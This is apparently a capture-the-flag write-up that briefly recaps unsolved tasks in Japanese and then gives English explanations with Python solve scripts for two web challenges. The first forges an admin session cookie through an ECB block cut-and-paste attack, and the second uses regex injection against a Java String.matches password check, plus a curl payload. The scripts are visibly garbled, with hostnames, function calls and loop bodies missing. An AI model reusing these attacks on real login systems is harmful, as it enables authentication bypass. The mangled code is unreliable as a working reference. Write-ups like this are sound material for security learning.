pwnは遅れて公開されたのだが、2日目がkatagaitai勉強会と(あとworld codesprintや学校とも)で衝突を起こしており、参加時間が取れずpwnを開けなかった。 web50 north koreaをtukejonnyさんが解いててエスパーっぽくてプロかったのが印象的。 for100 passwordはfcrackzip + pkcrackというのは合っていて既知平文も正しかったのだが、pkcrackに渡すoptionsでミスがあったため解けず。 misc150 cafebabeも方針は合っていたが文字読み取りの精度が足らずで解けず。python/PILで書いたのは速度面で明らかな失敗であった。


The flag is obtained by a ciphertext of a json which contains "admin":true. It uses a block cipher in ECB mode. You can construct the ciphertext chunk-wise, using the fact that the correspondence of plaintexts and ciphertexts are independent of positions and other chunks.

I needed to send the admin field with empty string to get the chunk like AAAAAA","admin":.

#!/usr/bin/env python3
import re
import json
import requests
import collections

chunk = lambda s, l: [s[i:i+l] for i in range(0, len(s), l)]

def encrypt(url, payload):
    resp =, data=payload, allow_redirects=False)
    auth = resp.headers['Set-Cookie'].split()[0][5:-1]
    return auth

def stringify(params): # for ordering and spaces
    return '{' + ','.join(['"%s":%s' % (k, json.dumps(params[k])) for k in params]) + '}'

def check_encrypt(url, params, plain):
    t = stringify(params)
    t = chunk(t, 16)
    i = t.index(plain)
    s = encrypt(url, params)
    assert len(s) % 32 == 0
    s = chunk(s, 32)
    print(repr(plain), s[i])
    return s[i]

import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='')
parser.add_argument('port', nargs='?', default=7001, type=int)
args = parser.parse_args()

f = lambda x, *ys: check_encrypt('http://{}:{}/login'.format(, args.port), collections.OrderedDict(ys), x)

auth = ''
auth += f(r'{"username":"AAA', ('username', r'AAA'), ('password', 'password'))
auth += f(r'AAAAAA","admin":', ('username', r'AAAAAAAAA'), ('admin', ''), ('password', 'password'))
auth += f(r'true,           ', ('username', r'AAAtrue,           '), ('password', 'password'))
auth += f(r'"password":"A"}',  ('username', r'A'), ('password', 'A'))
print('auth=' + auth)

resp = requests.get('http://{}:{}'.format(, args.port), headers={ 'Cookie': 'auth=' + auth })
flag ='ctf\([^)]*\)', resp.text).group(0)


Inject your regular expressions. Since it compares strings with String.matches, not String.equals, you can use .* instead of the true password.

    public boolean verify(String username, String password) {
        return this.username.equals(username) && this.master.matches(password);

The password is trivial, but the username who has a flag is unknown. You know your username is [Member] foo and not simply foo, so you can think that an user [Admin] bar exists. You can do binary search to determine the exact username, and you will get the flag.

$ curl '\\[A.*&password=password&real_name=real_name' -X POST
FAILED: User with that name already exists!
#!/usr/bin/env python3
import string
import time
import urllib.request
import urllib.parse

def query_users(username, password, real_name):
    url = '{}'.format(
            urllib.parse.urlencode( { 'username': username, 'password': password, 'real_name': real_name }))
    print('POST', url)
    req = urllib.request.Request(url)
    req.method = 'POST'
    with urllib.request.urlopen(req) as resp:
    return query_users(username, password, real_name)
def query_name(username, password):
    url = '{}'.format(
            urllib.parse.urlencode( { 'username': username, 'password': password }))
    print('GET', url)
    req = urllib.request.Request(url)
    with urllib.request.urlopen(req) as resp:
def match_users(regex):
    s = query_users(regex, 'password', 'real_name')
    if s == 'FAILED: User with that name already exists!':
        return True
        assert s.startswith('OK: Your username is ')
        return False

s = '' # Arxenixisaloser
while True:
    for letters in [ string.ascii_lowercase, string.ascii_uppercase, string.digits ]:
        if not match_users(r'\[Admin\] {}[{}-{}].*'.format(s, letters[0], letters[-1])):
        l = 0
        r = len(letters) - 1
        while l < r: # [l, r]
            m = (l + r) // 2
            if match_users(r'\[Admin\] {}[{}-{}].*'.format(s, letters[0], letters[m])): # c <= m
                r = m
            else: # m < c
                l = m+1
        s += letters[l]
    print('FLAG', s)
print(query_name(r'[Admin] ' + s, '.*')) # ctf(h4r4mb3_d1dn1t_d13_4_th1s_f33ls_b4d)